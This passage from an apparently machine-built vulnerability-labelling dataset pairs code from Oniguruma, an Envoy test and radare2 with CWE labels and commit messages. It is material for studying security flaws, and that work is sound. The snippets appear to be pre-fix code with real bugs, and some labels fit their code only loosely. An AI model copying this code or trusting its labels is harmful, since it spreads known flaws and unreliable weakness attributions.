ONIGERR_TOO_BIG_WIDE_CHAR_VALUE;\n\tif (!PEND) {\n\t if (ONIGENC_IS_CODE_XDIGIT(enc, PPEEK))\n\t return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE;\n\t}\n\n\tif ((p > prev + enclen(enc, prev, end)) && !PEND && PPEEK_IS('}')) {\n\t PINC;\n\t tok->type = TK_CODE_POINT;\n\t tok->u.code = (OnigCodePoint )num;\n\t}\n\telse {\n\t /* can't read nothing or invalid format */\n\t p = prev;\n\t}\n }\n else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) {\n\tnum = scan_unsigned_hexadecimal_number(&p, end, 0, 2, enc);\n\tif (num < 0) return ONIGERR_TOO_BIG_NUMBER;\n\tif (p == prev) { /* can't read nothing. */\n\t num = 0; /* but, it's not error */\n\t}\n\ttok->type = TK_RAW_BYTE;\n\ttok->base = 16;\n\ttok->u.c = num;\n }\n break;\n\n case 'u':\n if (PEND) break;\n\n prev = p;\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) {\n\tnum = scan_unsigned_hexadecimal_number(&p, end, 4, 4, enc);\n\tif (num < -1) return ONIGERR_TOO_SHORT_DIGITS;\n\telse if (num < 0) return ONIGERR_TOO_BIG_NUMBER;\n\tif (p == prev) { /* can't read nothing. */\n\t num = 0; /* but, it's not error */\n\t}\n\ttok->type = TK_CODE_POINT;\n\ttok->base = 16;\n\ttok->u.code = (OnigCodePoint )num;\n }\n break;\n\n case 'o':\n if (PEND) break;\n\n prev = p;\n if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_O_BRACE_OCTAL)) {\n\tPINC;\n\tnum = scan_unsigned_octal_number(&p, end, 11, enc);\n\tif (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE;\n\tif (!PEND) {\n\t OnigCodePoint c = PPEEK;\n\t if (ONIGENC_IS_CODE_DIGIT(enc, c) && c < '8')\n\t return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE;\n\t}\n\n\tif ((p > prev + enclen(enc, prev, end)) && !PEND && PPEEK_IS('}')) {\n\t PINC;\n\t tok->type = TK_CODE_POINT;\n\t tok->u.code = (OnigCodePoint )num;\n\t}\n\telse {\n\t /* can't read nothing or invalid format */\n\t p = prev;\n\t}\n }\n break;\n\n case '1': case '2': case '3': case '4':\n case '5': case '6': case '7': case '8': case '9':\n PUNFETCH;\n prev = p;\n num = onig_scan_unsigned_number(&p, end, enc);\n if (num < 0 || num > ONIG_MAX_BACKREF_NUM) {\n\tgoto skip_backref;\n }\n\n if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_DECIMAL_BACKREF) &&\n\t (num <= env->num_mem || num <= 9)) { /* This spec. from GNU regex */\n\tif (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) {\n\t if (num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[num]))\n\t return ONIGERR_INVALID_BACKREF;\n\t}\n\n\ttok->type = TK_BACKREF;\n\ttok->u.backref.num = 1;\n\ttok->u.backref.ref1 = num;\n\ttok->u.backref.by_name = 0;\n#ifdef USE_BACKREF_WITH_LEVEL\n\ttok->u.backref.exist_level = 0;\n#endif\n\tbreak;\n }\n\n skip_backref:\n if (c == '8' || c == '9') {\n\t/* normal char */\n\tp = prev; PINC;\n\tbreak;\n }\n\n p = prev;\n /* fall through */\n case '0':\n if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) {\n\tprev = p;\n\tnum = scan_unsigned_octal_number(&p, end, (c == '0' ? 2:3), enc);\n\tif (num < 0 || 0xff < num) return ONIGERR_TOO_BIG_NUMBER;\n\tif (p == prev) { /* can't read nothing. */\n\t num = 0; /* but, it's not error */\n\t}\n\ttok->type = TK_RAW_BYTE;\n\ttok->base = 8;\n\ttok->u.c = num;\n }\n else if (c != '0') {\n\tPINC;\n }\n break;\n\n#ifdef USE_NAMED_GROUP\n case 'k':\n if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_K_NAMED_BACKREF)) {\n\tPFETCH(c);\n\tif (c == '<' || c == '\\'') {\n\t r = fetch_named_backref_token(c, tok, &p, end, env);\n\t if (r < 0) return r;\n\t}\n\telse {\n\t PUNFETCH;\n\t onig_syntax_warn(env, \"invalid back reference\");\n\t}\n }\n break;\n#endif\n\n#if defined(USE_SUBEXP_CALL) || defined(USE_NAMED_GROUP)\n case 'g':\n# ifdef USE_NAMED_GROUP\n if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_BRACE_BACKREF)) {\n\tPFETCH(c);\n\tif (c == '{') {\n\t r = fetch_named_backref_token(c, tok, &p, end, env);\n\t if (r < 0) return r;\n\t}\n\telse\n\t PUNFETCH;\n }\n# endif\n# ifdef USE_SUBEXP_CALL\n if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_SUBEXP_CALL)) {\n\tPFETCH(c);\n\tif (c == '<' || c == '\\'') {\n\t int gnum = -1, rel = 0;\n\t UChar* name_end;\n\t OnigCodePoint cnext;\n\n\t cnext = PPEEK;\n\t if (cnext == '0') {\n\t PINC;\n\t if (PPEEK_IS(get_name_end_code_point(c))) { /* \\g<0>, \\g'0' */\n\t PINC;\n\t name_end = p;\n\t gnum = 0;\n\t }\n\t }\n\t else if (cnext == '+') {\n\t PINC;\n\t rel = 1;\n\t }\n\t prev = p;\n\t if (gnum < 0) {\n\t r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &gnum, 1);\n\t if (r < 0) return r;\n\t }\n\n\t tok->type = TK_CALL;\n\t tok->u.call.name = prev;\n\t tok->u.call.name_end = name_end;\n\t tok->u.call.gnum = gnum;\n\t tok->u.call.rel = rel;\n\t}\n\telse {\n\t onig_syntax_warn(env, \"invalid subexp call\");\n\t PUNFETCH;\n\t}\n }\n# endif\n break;\n#endif\n\n case 'Q':\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_Q_QUOTE)) {\n\ttok->type = TK_QUOTE_OPEN;\n }\n break;\n\n case 'p':\n case 'P':\n if (PPEEK_IS('{') &&\n\t IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) {\n\tPINC;\n\ttok->type = TK_CHAR_PROPERTY;\n\ttok->u.prop.not = (c == 'P' ? 1 : 0);\n\n\tif (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) {\n\t PFETCH(c);\n\t if (c == '^') {\n\t tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0);\n\t }\n\t else\n\t PUNFETCH;\n\t}\n }\n else {\n\tonig_syntax_warn(env, \"invalid Unicode Property \\\\%c\", c);\n }\n break;\n\n case 'R':\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_R_LINEBREAK)) {\n\ttok->type = TK_LINEBREAK;\n }\n break;\n\n case 'X':\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_X_EXTENDED_GRAPHEME_CLUSTER)) {\n\ttok->type = TK_EXTENDED_GRAPHEME_CLUSTER;\n }\n break;\n\n case 'K':\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_K_KEEP)) {\n\ttok->type = TK_KEEP;\n }\n break;\n\n default:\n {\n\tOnigCodePoint c2;\n\n\tPUNFETCH;\n\tnum = fetch_escaped_value(&p, end, env, &c2);\n\tif (num < 0) return num;\n\t/* set_raw: */\n\tif ((OnigCodePoint )tok->u.c != c2) {\n\t tok->type = TK_CODE_POINT;\n\t tok->u.code = (OnigCodePoint )c2;\n\t}\n\telse { /* string */\n\t p = tok->backp + enclen(enc, tok->backp, end);\n\t}\n }\n break;\n }\n }\n else {\n tok->u.c = c;\n tok->escaped = 0;\n\n#ifdef USE_VARIABLE_META_CHARS\n if ((c != ONIG_INEFFECTIVE_META_CHAR) &&\n\tIS_SYNTAX_OP(syn, ONIG_SYN_OP_VARIABLE_META_CHARACTERS)) {\n if (c == MC_ANYCHAR(syn))\n\tgoto any_char;\n else if (c == MC_ANYTIME(syn))\n\tgoto anytime;\n else if (c == MC_ZERO_OR_ONE_TIME(syn))\n\tgoto zero_or_one_time;\n else if (c == MC_ONE_OR_MORE_TIME(syn))\n\tgoto one_or_more_time;\n else if (c == MC_ANYCHAR_ANYTIME(syn)) {\n\ttok->type = TK_ANYCHAR_ANYTIME;\n\tgoto out;\n }\n }\n#endif\n\n switch (c) {\n case '.':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_DOT_ANYCHAR)) break;\n#ifdef USE_VARIABLE_META_CHARS\n any_char:\n#endif\n tok->type = TK_ANYCHAR;\n break;\n\n case '*':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ASTERISK_ZERO_INF)) break;\n#ifdef USE_VARIABLE_META_CHARS\n anytime:\n#endif\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 0;\n tok->u.repeat.upper = REPEAT_INFINITE;\n goto greedy_check;\n break;\n\n case '+':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_PLUS_ONE_INF)) break;\n#ifdef USE_VARIABLE_META_CHARS\n one_or_more_time:\n#endif\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 1;\n tok->u.repeat.upper = REPEAT_INFINITE;\n goto greedy_check;\n break;\n\n case '?':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_ZERO_ONE)) break;\n#ifdef USE_VARIABLE_META_CHARS\n zero_or_one_time:\n#endif\n tok->type = TK_OP_REPEAT;\n tok->u.repeat.lower = 0;\n tok->u.repeat.upper = 1;\n goto greedy_check;\n break;\n\n case '{':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACE_INTERVAL)) break;\n r = fetch_range_quantifier(&p, end, tok, env);\n if (r < 0) return r; /* error */\n if (r == 0) goto greedy_check;\n else if (r == 2) { /* {n} */\n\tif (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY))\n\t goto possessive_check;\n\n\tgoto greedy_check;\n }\n /* r == 1 : normal char */\n break;\n\n case '|':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_VBAR_ALT)) break;\n tok->type = TK_ALT;\n break;\n\n case '(':\n if (PPEEK_IS('?') &&\n\t IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) {\n\tPINC;\n\tif (PPEEK_IS('#')) {\n\t PFETCH(c);\n\t while (1) {\n\t if (PEND) return ONIGERR_END_PATTERN_IN_GROUP;\n\t PFETCH(c);\n\t if (c == MC_ESC(syn)) {\n\t if (!PEND) PFETCH(c);\n\t }\n\t else {\n\t if (c == ')') break;\n\t }\n\t }\n\t goto start;\n\t}\n#ifdef USE_PERL_SUBEXP_CALL\n\t/* (?&name), (?n), (?R), (?0), (?+n), (?-n) */\n\tc = PPEEK;\n\tif ((c == '&' || c == 'R' || ONIGENC_IS_CODE_DIGIT(enc, c)) &&\n\t IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_SUBEXP_CALL)) {\n\t /* (?&name), (?n), (?R), (?0) */\n\t int gnum;\n\t UChar *name;\n\t UChar *name_end;\n\n\t if (c == 'R' || c == '0') {\n\t PINC; /* skip 'R' / '0' */\n\t if (!PPEEK_IS(')')) return ONIGERR_INVALID_GROUP_NAME;\n\t PINC; /* skip ')' */\n\t name_end = name = p;\n\t gnum = 0;\n\t }\n\t else {\n\t int numref = 1;\n\t if (c == '&') { /* (?&name) */\n\t PINC;\n\t numref = 0; /* don't allow number name */\n\t }\n\t name = p;\n\t r = fetch_name((OnigCodePoint )'(', &p, end, &name_end, env, &gnum, numref);\n\t if (r < 0) return r;\n\t }\n\n\t tok->type = TK_CALL;\n\t tok->u.call.name = name;\n\t tok->u.call.name_end = name_end;\n\t tok->u.call.gnum = gnum;\n\t tok->u.call.rel = 0;\n\t break;\n\t}\n\telse if ((c == '-' || c == '+') &&\n\t IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_SUBEXP_CALL)) {\n\t /* (?+n), (?-n) */\n\t int gnum;\n\t UChar *name;\n\t UChar *name_end;\n\t OnigCodePoint cnext;\n\t PFETCH_READY;\n\n\t PINC; /* skip '-' / '+' */\n\t cnext = PPEEK;\n\t if (ONIGENC_IS_CODE_DIGIT(enc, cnext)) {\n\t if (c == '-') PUNFETCH;\n\t name = p;\n\t r = fetch_name((OnigCodePoint )'(', &p, end, &name_end, env, &gnum, 1);\n\t if (r < 0) return r;\n\n\t tok->type = TK_CALL;\n\t tok->u.call.name = name;\n\t tok->u.call.name_end = name_end;\n\t tok->u.call.gnum = gnum;\n\t tok->u.call.rel = 1;\n\t break;\n\t }\n\t}\n#endif /* USE_PERL_SUBEXP_CALL */\n#ifdef USE_CAPITAL_P_NAMED_GROUP\n\tif (PPEEK_IS('P') &&\n\t IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_CAPITAL_P_NAMED_GROUP)) {\n\t int gnum;\n\t UChar *name;\n\t UChar *name_end;\n\t PFETCH_READY;\n\n\t PINC; /* skip 'P' */\n\t if (PEND) return ONIGERR_UNDEFINED_GROUP_OPTION;\n\t PFETCH(c);\n\t if (c == '=') { /* (?P=name): backref */\n\t r = fetch_named_backref_token((OnigCodePoint )'(', tok, &p, end, env);\n\t if (r < 0) return r;\n\t break;\n\t }\n\t else if (c == '>') { /* (?P>name): subexp call */\n\t name = p;\n\t r = fetch_name((OnigCodePoint )'(', &p, end, &name_end, env, &gnum, 0);\n\t if (r < 0) return r;\n\n\t tok->type = TK_CALL;\n\t tok->u.call.name = name;\n\t tok->u.call.name_end = name_end;\n\t tok->u.call.gnum = gnum;\n\t tok->u.call.rel = 0;\n\t break;\n\t }\n\t}\n#endif /* USE_CAPITAL_P_NAMED_GROUP */\n\tPUNFETCH;\n }\n\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break;\n tok->type = TK_SUBEXP_OPEN;\n break;\n\n case ')':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break;\n tok->type = TK_SUBEXP_CLOSE;\n break;\n\n case '^':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = (IS_SINGLELINE(env->option)\n\t\t\t ? ANCHOR_BEGIN_BUF : ANCHOR_BEGIN_LINE);\n break;\n\n case '$':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break;\n tok->type = TK_ANCHOR;\n tok->u.anchor.subtype = (IS_SINGLELINE(env->option)\n\t\t\t ? ANCHOR_SEMI_END_BUF : ANCHOR_END_LINE);\n break;\n\n case '[':\n if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACKET_CC)) break;\n tok->type = TK_CC_OPEN;\n break;\n\n case ']':\n if (*src > env->pattern) /* /].../ is allowed. */\n\tCLOSE_BRACKET_WITHOUT_ESC_WARN(env, (UChar* )\"]\");\n break;\n\n case '#':\n if (IS_EXTEND(env->option)) {\n\twhile (!PEND) {\n\t PFETCH(c);\n\t if (ONIGENC_IS_CODE_NEWLINE(enc, c))\n\t break;\n\t}\n\tgoto start;\n\tbreak;\n }\n break;\n\n case ' ': case '\\t': case '\\n': case '\\r': case '\\f':\n if (IS_EXTEND(env->option))\n\tgoto start;\n break;\n\n default:\n /* string */\n break;\n }\n }\n\n#ifdef USE_VARIABLE_META_CHARS\n out:\n#endif\n *src = p;\n return tok->type;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix SEGV in onig_error_code_to_str() (Fix #132)\n\nWhen onig_new(ONIG_SYNTAX_PERL) fails with ONIGERR_INVALID_GROUP_NAME,\nonig_error_code_to_str() crashes.\nonig_scan_env_set_error_string() should have been used when returning\nONIGERR_INVALID_GROUP_NAME.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_F(ConnectionHandlerTest, ListenerFilterTimeout) {\n InSequence s;\n\n TestListener* test_listener = addListener(1, true, false, \"test_listener\");\n Network::MockListener* listener = new Network::MockListener();\n Network::ListenerCallbacks* listener_callbacks;\n EXPECT_CALL(dispatcher_, createListener_(_, _, _))\n .WillOnce(\n Invoke([&](Network::Socket&, Network::ListenerCallbacks& cb, bool) -> Network::Listener* {\n listener_callbacks = &cb;\n return listener;\n }));\n EXPECT_CALL(test_listener->socket_, localAddress());\n handler_->addListener(*test_listener);\n\n Network::MockListenerFilter* test_filter = new Network::MockListenerFilter();\n EXPECT_CALL(factory_, createListenerFilterChain(_))\n .WillRepeatedly(Invoke([&](Network::ListenerFilterManager& manager) -> bool {\n manager.addAcceptFilter(Network::ListenerFilterPtr{test_filter});\n return true;\n }));\n EXPECT_CALL(*test_filter, onAccept(_))\n .WillOnce(Invoke([&](Network::ListenerFilterCallbacks&) -> Network::FilterStatus {\n return Network::FilterStatus::StopIteration;\n }));\n Network::MockConnectionSocket* accepted_socket = new NiceMock();\n Network::IoSocketHandleImpl io_handle{42};\n EXPECT_CALL(*accepted_socket, ioHandle()).WillRepeatedly(ReturnRef(io_handle));\n Event::MockTimer* timeout = new Event::MockTimer(&dispatcher_);\n EXPECT_CALL(*timeout, enableTimer(std::chrono::milliseconds(15000), _));\n listener_callbacks->onAccept(Network::ConnectionSocketPtr{accepted_socket});\n Stats::Gauge& downstream_pre_cx_active =\n stats_store_.gauge(\"downstream_pre_cx_active\", Stats::Gauge::ImportMode::Accumulate);\n EXPECT_EQ(1UL, downstream_pre_cx_active.value());\n\n EXPECT_CALL(*timeout, disableTimer());\n timeout->invokeCallback();\n dispatcher_.clearDeferredDeleteList();\n EXPECT_EQ(0UL, downstream_pre_cx_active.value());\n EXPECT_EQ(1UL, stats_store_.counter(\"downstream_pre_cx_timeout\").value());\n\n // Make sure we didn't continue to try create connection.\n EXPECT_EQ(0UL, stats_store_.counter(\"no_filter_chain_match\").value());\n\n EXPECT_CALL(*listener, onDestroy());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'listener: clean up accept filter before creating connection (#8922)\n\nSigned-off-by: Yuchen Dai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int bin_symbols(RCore *r, int mode, ut64 laddr, int va, ut64 at, const char *name, bool exponly, const char *args) {\n\tRBinInfo *info = r_bin_get_info (r->bin);\n\tRList *entries = r_bin_get_entries (r->bin);\n\tRBinSymbol *symbol;\n\tRBinAddr *entry;\n\tRListIter *iter;\n\tbool firstexp = true;\n\tbool printHere = false;\n\tint i = 0, lastfs = 's';\n\tbool bin_demangle = r_config_get_i (r->config, \"bin.demangle\");\n\tif (!info) {\n\t\treturn 0;\n\t}\n\n\tif (args && *args == '.') {\n\t\tprintHere = true;\n\t}\n\n\tbool is_arm = info && info->arch && !strncmp (info->arch, \"arm\", 3);\n\tconst char *lang = bin_demangle ? r_config_get (r->config, \"bin.lang\") : NULL;\n\n\tRList *symbols = r_bin_get_symbols (r->bin);\n\tr_spaces_push (&r->anal->meta_spaces, \"bin\");\n\n\tif (IS_MODE_JSON (mode) && !printHere) {\n\t\tr_cons_printf (\"[\");\n\t} else if (IS_MODE_SET (mode)) {\n\t\tr_flag_space_set (r->flags, R_FLAGS_FS_SYMBOLS);\n\t} else if (!at && exponly) {\n\t\tif (IS_MODE_RAD (mode)) {\n\t\t\tr_cons_printf (\"fs exports\\n\");\n\t\t} else if (IS_MODE_NORMAL (mode)) {\n\t\t\tr_cons_printf (printHere ? \"\" : \"[Exports]\\n\");\n\t\t}\n\t} else if (!at && !exponly) {\n\t\tif (IS_MODE_RAD (mode)) {\n\t\t\tr_cons_printf (\"fs symbols\\n\");\n\t\t} else if (IS_MODE_NORMAL (mode)) {\n\t\t\tr_cons_printf (printHere ? \"\" : \"[Symbols]\\n\");\n\t\t}\n\t}\n\tif (IS_MODE_NORMAL (mode)) {\n\t\tr_cons_printf (\"Num Paddr Vaddr Bind Type Size Name\\n\");\n\t}\n\n\n\tsize_t count = 0;\n\tr_list_foreach (symbols, iter, symbol) {\n\t\tif (!symbol->name) {\n\t\t\tcontinue;\n\t\t}\n\t\tchar *r_symbol_name = r_str_escape_utf8 (symbol->name, false, true);\n\t\tut64 addr = compute_addr (r->bin, symbol->paddr, symbol->vaddr, va);\n\t\tint len = symbol->size ? symbol->size : 32;\n\t\tSymName sn = {0};\n\n\t\tif (exponly && !isAnExport (symbol)) {\n\t\t\tfree (r_symbol_name);\n\t\t\tcontinue;\n\t\t}\n\t\tif (name && strcmp (r_symbol_name, name)) {\n\t\t\tfree (r_symbol_name);\n\t\t\tcontinue;\n\t\t}\n\t\tif (at && (!symbol->size || !is_in_range (at, addr, symbol->size))) {\n\t\t\tfree (r_symbol_name);\n\t\t\tcontinue;\n\t\t}\n\t\tif ((printHere && !is_in_range (r->offset, symbol->paddr, len))\n\t\t\t\t&& (printHere && !is_in_range (r->offset, addr, len))) {\n\t\t\tfree (r_symbol_name);\n\t\t\tcontinue;\n\t\t}\n\t\tcount ++;\n\t\tsnInit (r, &sn, symbol, lang);\n\n\t\tif (IS_MODE_SET (mode) && (is_section_symbol (symbol) || is_file_symbol (symbol))) {\n\t\t\t/*\n\t\t\t * Skip section symbols because they will have their own flag.\n\t\t\t * Skip also file symbols because not useful for now.\n\t\t\t */\n\t\t} else if (IS_MODE_SET (mode) && is_special_symbol (symbol)) {\n\t\t\tif (is_arm) {\n\t\t\t\thandle_arm_special_symbol (r, symbol, va);\n\t\t\t}\n\t\t} else if (IS_MODE_SET (mode)) {\n\t\t\t// TODO: provide separate API in RBinPlugin to let plugins handle anal hints/metadata\n\t\t\tif (is_arm) {\n\t\t\t\thandle_arm_symbol (r, symbol, info, va);\n\t\t\t}\n\t\t\tselect_flag_space (r, symbol);\n\t\t\t/* If that's a Classed symbol (method or so) */\n\t\t\tif (sn.classname) {\n\t\t\t\tRFlagItem *fi = r_flag_get (r->flags, sn.methflag);\n\t\t\t\tif (r->bin->prefix) {\n\t\t\t\t\tchar *prname = r_str_newf (\"%s.%s\", r->bin->prefix, sn.methflag);\n\t\t\t\t\tr_name_filter (sn.methflag, -1);\n\t\t\t\t\tfree (sn.methflag);\n\t\t\t\t\tsn.methflag = prname;\n\t\t\t\t}\n\t\t\t\tif (fi) {\n\t\t\t\t\tr_flag_item_set_realname (fi, sn.methname);\n\t\t\t\t\tif ((fi->offset - r->flags->base) == addr) {\n\t\t\t\t//\t\tchar *comment = fi->comment ? strdup (fi->comment) : NULL;\n\t\t\t\t\t\tr_flag_unset (r->flags, fi);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfi = r_flag_set (r->flags, sn.methflag, addr, symbol->size);\n\t\t\t\t\tchar *comment = fi->comment ? strdup (fi->comment) : NULL;\n\t\t\t\t\tif (comment) {\n\t\t\t\t\t\tr_flag_item_set_comment (fi, comment);\n\t\t\t\t\t\tR_FREE (comment);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tconst char *n = sn.demname ? sn.demname : sn.name;\n\t\t\t\tconst char *fn = sn.demflag ? sn.demflag : sn.nameflag;\n\t\t\t\tchar *fnp = (r->bin->prefix) ?\n\t\t\t\t\tr_str_newf (\"%s.%s\", r->bin->prefix, fn):\n\t\t\t\t\tstrdup (fn);\n\t\t\t\tRFlagItem *fi = r_flag_set (r->flags, fnp, addr, symbol->size);\n\t\t\t\tif (fi) {\n\t\t\t\t\tr_flag_item_set_realname (fi, n);\n\t\t\t\t\tfi->demangled = (bool)(size_t)sn.demname;\n\t\t\t\t} else {\n\t\t\t\t\tif (fn) {\n\t\t\t\t\t\teprintf (\"[Warning] Can't find flag (%s)\\n\", fn);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfree (fnp);\n\t\t\t}\n\t\t\tif (sn.demname) {\n\t\t\t\tr_meta_add (r->anal, R_META_TYPE_COMMENT,\n\t\t\t\t\taddr, symbol->size, sn.demname);\n\t\t\t}\n\t\t\tr_flag_space_pop (r->flags);\n\t\t} else if (IS_MODE_JSON (mode)) {\n\t\t\tchar *str = r_str_escape_utf8_for_json (r_symbol_name, -1);\n\t\t\t// str = r_str_replace (str, \"\\\"\", \"\\\\\\\"\", 1);\n\t\t\tr_cons_printf (\"%s{\\\"name\\\":\\\"%s\\\",\"\n\t\t\t\t\"\\\"demname\\\":\\\"%s\\\",\"\n\t\t\t\t\"\\\"flagname\\\":\\\"%s\\\",\"\n\t\t\t\t\"\\\"ordinal\\\":%d,\"\n\t\t\t\t\"\\\"bind\\\":\\\"%s\\\",\"\n\t\t\t\t\"\\\"size\\\":%d,\"\n\t\t\t\t\"\\\"type\\\":\\\"%s\\\",\"\n\t\t\t\t\"\\\"vaddr\\\":%\"PFMT64d\",\"\n\t\t\t\t\"\\\"paddr\\\":%\"PFMT64d\"}\",\n\t\t\t\t((exponly && firstexp) || printHere) ? \"\" : (iter->p ? \",\" : \"\"),\n\t\t\t\tstr,\n\t\t\t\tsn.demname? sn.demname: \"\",\n\t\t\t\tsn.nameflag,\n\t\t\t\tsymbol->ordinal,\n\t\t\t\tsymbol->bind,\n\t\t\t\t(int)symbol->size,\n\t\t\t\tsymbol->type,\n\t\t\t\t(ut64)addr, (ut64)symbol->paddr);\n\t\t\tfree (str);\n\t\t} else if (IS_MODE_SIMPLE (mode)) {\n\t\t\tconst char *name = sn.demname? sn.demname: r_symbol_name;\n\t\t\tr_cons_printf (\"0x%08\"PFMT64x\" %d %s\\n\",\n\t\t\t\taddr, (int)symbol->size, name);\n\t\t} else if (IS_MODE_SIMPLEST (mode)) {\n\t\t\tconst char *name = sn.demname? sn.demname: r_symbol_name;\n\t\t\tr_cons_printf (\"%s\\n\", name);\n\t\t} else if (IS_MODE_RAD (mode)) {\n\t\t\t/* Skip special symbols because we do not flag them and\n\t\t\t * they shouldn't be printed in the rad format either */\n\t\t\tif (is_special_symbol (symbol)) {\n\t\t\t\tgoto next;\n\t\t\t}\n\t\t\tRBinFile *binfile;\n\t\t\tRBinPlugin *plugin;\n\t\t\tconst char *name = sn.demname? sn.demname: r_symbol_name;\n\t\t\tif (!name) {\n\t\t\t\tgoto next;\n\t\t\t}\n\t\t\tif (!strncmp (name, \"imp.\", 4)) {\n\t\t\t\tif (lastfs != 'i') {\n\t\t\t\t\tr_cons_printf (\"fs imports\\n\");\n\t\t\t\t}\n\t\t\t\tlastfs = 'i';\n\t\t\t} else {\n\t\t\t\tif (lastfs != 's') {\n\t\t\t\t\tconst char *fs = exponly? \"exports\": \"symbols\";\n\t\t\t\t\tr_cons_printf (\"fs %s\\n\", fs);\n\t\t\t\t}\n\t\t\t\tlastfs = 's';\n\t\t\t}\n\t\t\tif (r->bin->prefix || *name) { // we don't want unnamed symbol flags\n\t\t\t\tchar *flagname = construct_symbol_flagname (\"sym\", name, MAXFLAG_LEN_DEFAULT);\n\t\t\t\tif (!flagname) {\n\t\t\t\t\tgoto next;\n\t\t\t\t}\n\t\t\t\tr_cons_printf (\"\\\"f %s%s%s %u 0x%08\" PFMT64x \"\\\"\\n\",\n\t\t\t\t\tr->bin->prefix ? r->bin->prefix : \"\", r->bin->prefix ? \".\" : \"\",\n\t\t\t\t\tflagname, symbol->size, addr);\n\t\t\t\tfree (flagname);\n\t\t\t}\n\t\t\tbinfile = r_bin_cur (r->bin);\n\t\t\tplugin = r_bin_file_cur_plugin (binfile);\n\t\t\tif (plugin && plugin->name) {\n\t\t\t\tif (r_str_startswith (plugin->name, \"pe\")) {\n\t\t\t\t\tchar *module = strdup (r_symbol_name);\n\t\t\t\t\tchar *p = strstr (module, \".dll_\");\n\t\t\t\t\tif (p && strstr (module, \"imp.\")) {\n\t\t\t\t\t\tchar *symname = __filterShell (p + 5);\n\t\t\t\t\t\tchar *m = __filterShell (module);\n\t\t\t\t\t\t*p = 0;\n\t\t\t\t\t\tif (r->bin->prefix) {\n\t\t\t\t\t\t\tr_cons_printf (\"k bin/pe/%s/%d=%s.%s\\n\",\n\t\t\t\t\t\t\t\tmodule, symbol->ordinal, r->bin->prefix, symname);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tr_cons_printf (\"k bin/pe/%s/%d=%s\\n\",\n\t\t\t\t\t\t\t\tmodule, symbol->ordinal, symname);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfree (symname);\n\t\t\t\t\t\tfree (m);\n\t\t\t\t\t}\n\t\t\t\t\tfree (module);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tconst char *bind = symbol->bind? symbol->bind: \"NONE\";\n\t\t\tconst char *type = symbol->type? symbol->type: \"NONE\";\n\t\t\tconst char *name = r_str_get (sn.demname? sn.demname: r_symbol_name);\n\t\t\t// const char *fwd = r_str_get (symbol->forwarder);\n\t\t\tr_cons_printf (\"%03u\", symbol->ordinal);\n\t\t\tif (symbol->paddr == UT64_MAX) {\n\t\t\t\tr_cons_printf (\" ----------\");\n\t\t\t} else {\n\t\t\t\tr_cons_printf (\" 